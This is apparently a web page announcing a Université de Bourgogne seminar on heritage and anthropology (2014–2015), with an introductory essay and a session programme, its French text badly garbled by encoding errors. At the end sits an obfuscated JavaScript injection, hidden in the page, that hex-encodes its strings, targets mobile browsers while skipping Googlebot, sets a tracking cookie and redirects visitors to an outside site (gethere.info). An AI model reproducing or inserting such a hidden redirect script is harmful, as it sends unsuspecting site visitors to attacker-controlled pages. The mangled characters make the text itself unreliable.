Patrimoine et anthropologie, quoi de neufA�?
ActualitA� da��un domaine de recherche
SA�minaire du Centre Georges Chevrier, UniversitA� de Bourgogne
Sous la direction de Jean-Louis Tornatore
OrganisA� avec le soutien de la MSH de Dijon
En 1996, la��historien Jean Chesneaux pointait les limites de la��histoire historienneA�: A� na��A?tre tournA�e que sur le seul passA� et A� oublier que celui-ci A�A�na��a de rA�alitA� que dans le mouvement du tempsA�A�, elle risquait de se rendre aveugle au fait mA?me da��habiter le temps. En ce sens, estimait-il, A�A�le passA� et la��histoire sont bien trop importants pour A?tre laissA�s aux seuls historiensA�A�. Cette critique participait chez Chesneaux da��une rA�flexion sur le droit au temps, sur le dA�ni dont il A�tait la��objet et sur la nA�cessitA� de sa reconquA?teA�: il invitait A� travailler la��A�paisseur du prA�sent plutA?t qua��A� cA�der aux sirA?nes da��un A�A�prA�sentA�ismeA�A� A�A�qui tronA�onne le temps en dissociant passA�, prA�sent et avenirA�A�, de telle maniA?re A� faire du temps un lieu fort de notre culture politique.
En un sens, le dA�veloppement, dans ces mA?mes annA�es 1990, da��une ethno-anthropologie du patrimoine A�tait susceptible de rA�pondre en partie A� cette exigenceA�: en A�tendant le patrimoine A� la��immatA�rialitA� culturelle, le patrimoine ethnologique avait assurA� la��entrA�e des ethnologues dans le champ patrimonial et leur avait permis de porter leur regard sur le travail da��A�laboration de la valeur patrimoniale, que ce soit autant pour des A?tres du passA� a�� bA?timents, vestiges archA�ologique, coutumes, etc. a�� que pour des entitA�s diversement prA�sentes auxquelles des personnes et des collectifs accordent du prix. En somme, non seulement le patrimoine comme ce qui nous vient du passA� et est configurA� par la��histoire et comme ce qui instaure une prA�sence du passA� dans le prA�sent, mais avant tout le patrimoine comme ce qui compte, ce qui rA�fA?re et participe A� la��actualitA� des collectifs a�� en est partie-prenante a��, et formate des partenariats singuliers entre humains et non-humains (culture, nature, politique, etc.). Sa��ouvrait ainsi la possibilitA� de faire valoir et de saisir la densitA� du prA�sent non pas rA�duit A� de la��espace mais considA�rA� A�A�dans le tempsA�A�.
Significativement, cependant, la��anthropologie A�tait alors confrontA�e au mA?me problA?me da��incomplA�tude que Chesneaux avait relevA� A� propos du travail des historiens. Tout comme ceux-ci devaient abandonner leur monopole sur le passA�, ceux-lA� voyaient menacA� leur monopole sur la culture. Le fait A�tait pointA� par Daniel Fabre, dA?s les annA�es 2000, sous le thA?me de A�A�la��institution de la cultureA�A�A�: la��ethno-anthropologue na��A�tait plus celui qui dA�couvrait et exposait les cultures des autres, mais devait dA�sormais composer avec les acteurs eux-mA?mes, conscients de leur propre culture, la��explicitant et la��exposant. La��anthropologue brA�silienne, Manuela Carneiro da Cunha dA�veloppait une idA�e proche en mettant en tensionA�cultureA�etA�A�A�cultureA�A�A�: da��un cA?tA� A� la toile invisible A� laquelle nous sommes suspendusA�A�, de la��autre un A� mA�tadiscours rA�flexif sur la culture A�. Et prA�cisA�ment, le patrimoine devenait un enjeu fort, et le moyen, de ce phA�nomA?ne de cristallisation. Est-ce A� dire au final qua��avec la��avA?nement du A�A�temps du patrimoineA�A�A�(Fabre)A�la culture serait devenue bien trop importante aux yeux de ses pratiquants pour A?tre laissA�e aux seuls anthropologuesA�?
Il na��en demeure pas moins a�� ou alors est-ce pour celaA�? a�� que la��anthropologie du ou des patrimoines a constituA�, depuis une quinzaine da��annA�es, un domaine en plein dA�veloppement qui a contribuA� A� une certaine dynamisation de la��anthropologie, en mA?me temps qua��il a participA�, avec da��autres disciplines, au dA�cloisonnement des A�tudes patrimoniales et A� une saisie du fait patrimonial contemporain en situations trA?s diverses A� la fois dans et hors des institutions du patrimoine a�� ce qui da��ailleurs ne laisse pas de suggA�rer que le patrimoine est devenu bien trop important pour A?tre laissA� aux seuls conservateurs. En somme, ce sA�minaire voudrait interroger les apports de la��anthropologie A� la��analyse des phA�nomA?nes patrimoniaux contemporainsA�: A� partir de travaux qui ont approchA� des phA�nomA?nes de patrimonialisation dans des domaines aussi divers que la religion, la��immigration, le monde urbain, la��A�cologie, le vivant, la��art ou le numA�rique, il sa��agirait de comprendre comment la��anthropologie sa��y est construite une lA�gitimitA� certaine et comment elle a pu se positionner par rapport au double affranchissement, administratif et scientifique, qui caractA�rise le patrimoine aujourda��hui.
Programme
Toutes les sA�ances se dA�roulent un vendredi de 14h A� 17h dans la salle de sA�minaire de la MSH de Dijon (6, esplanade Erasme, 21000 Dijon) a�� sauf le 10 avrilA�: amphithA�A?tre de la MSH.
12 dA�cembre 2014- La��institution de la cultureA�: le temps du patrimoine
Anath Ariel de Vidas (Cnrs, CERMA-Mondes AmA�ricains, Paris)
Voyage en patrimonologie amA�rindienneA�: A� Le projet FABRIQa��AM A�
Sylvie Sagnes (Cnrs, IIAC-LAHIC, Paris)
Au miroir de la mA�diation : le prA�sent du patrimoine
30 janvier – Culte et patrimoine
Sossie AndA�zian (Cnrs, IIAC-LAHIC, Paris)
Lecture anthropologique de l’inscription au patrimoine mondial d’un site religieuxA�: l’A�glise de la NativitA� A� BethlA�em (2012)
Cyril Isnart (Cnrs, IDEMEC, Aix-en-Provence)
Culture et A�A�cultureA�A� religieuses. Manuela Carneiro da Cunha chez les Catholiques
20 FA�vrier – Les patrimoines A� la��heure du numA�rique
Michel Rautenberg (UniversitA� de Saint-A�tienne, Centre Max Weber) et Sarah Rojon (Centre Max Weber)
La production du patrimoine par les amateurs A� l’heure du numA�rique.
Laurier Turgeon (UniversitA� Laval, QuA�bec, Chaire de recherche du Canada en patrimoine ethnologique)
La mA�diation du patrimoine culturel (immatA�riel et matA�riel) A� l’aide des nouvelles technologiesA�: A� propos de l’application mobile A�A�DA�couvrir QuA�becA�A�.
20 mars – Un patrimoine de la��immigrationA�?
NoA�l Barbe (Drac de Franche-ComtA� et Cnrs, IIAC-LAHIC)
Figures de l’immigrA� et dA�mocratie patrimoniale.
HA�lA?ne Bertheleu (UniversitA� FranA�ois Rabelais, Tours, CITERES-CoST) et VA�ronique DassiA� (Cnrs, IDEMEC)
Un patrimoine de l’immigration ? Entre engagements mA�moriels et enjeux politiques.
10 avril – Que faire du patrimoine culturel immatA�rielA�?
Olivia AngA� (SDCG, UniversitA� de Wageningen, Pays-Bas) (sous rA�serve)
Entre misA?re A�conomique et merveille culturelle. Le troc comme patrimoine immatA�riel dans les hautes terres andines.
Ellen Hertz (Institut da��ethnologie, UniversitA� de NeuchA?tel, Suisse)
Reconnaissance, ambivalence, vengeanceA�: le patrimoine culturel immatA�riel est une relation. L’expA�rience suisse.
29 mai – Le patrimoine devant le vivant
Isabelle Arpin (IRSTEA, Labex Innovation et territoires de montagnes, Grenoble)
La patrimonialisation des espA?ces dites remarquables. L’exemple du bouquetin.
Elise Demeulenaere (Cnrs,A�UMR Eco-anthropologie et Ethnobiologie, MNHN, Paris)
Patrimonialiser un paysage culturel vivant. Le cas des terrasses agroforestiA?res konso (Ethiopie)
12 juin – Art, mA�moire et patrimoine
Octave Debary (UniversitA� de Paris Descartes, IIAC-LAHIC)
L’art de se passer des objets : travail de mA�moire et art contemporain.
Ariela Epstein (LISST-CAS, UniversitA� de Toulouse 2)
De la peinture murale A� la ruine industrielle, un parcours en anthropologie politique des paysages uruguayens.
RenseignementsA�:
Jean-Louis Tornatore,A�jl.tornatore@free.frA�,A�06 82 26 34 73
A�loA?se Dreure,A�eloise.dreure@u-bourgogne.frA�,A�03 80 39 57 17
A�
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}